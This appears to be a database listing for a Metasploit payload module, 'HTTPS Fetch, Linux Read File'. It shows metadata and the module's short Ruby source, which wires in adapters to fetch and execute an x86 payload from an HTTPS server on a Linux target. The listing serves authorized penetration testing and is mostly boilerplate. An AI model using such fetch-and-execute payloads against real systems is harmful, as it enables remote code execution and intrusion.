Lucene search

K
metasploitBrendan Watters, Spencer McIntyre, halMSF:PAYLOAD-CMD-LINUX-HTTPS-X86-READ_FILE-
HistoryJun 09, 2023 - 8:47 p.m.

HTTPS Fetch, Linux Read File

2023-06-0920:47:45
Brendan Watters, Spencer McIntyre, hal
www.rapid7.com
78
fetch and execute
x86 payload
https server
linux
metasploit

Fetch and execute an x86 payload from an HTTPS server. Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
  include Msf::Payload::Adapter::Fetch::Https
  include Msf::Payload::Adapter::Fetch::LinuxOptions

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'HTTPS Fetch',
        'Description' => 'Fetch and execute an x86 payload from an HTTPS server.',
        'Author' => ['Brendan Watters', 'Spencer McIntyre'],
        'Platform' => 'linux',
        'Arch' => ARCH_CMD,
        'License' => MSF_LICENSE,
        'AdaptedArch' => ARCH_X86,
        'AdaptedPlatform' => 'linux'
      )
    )
  end
end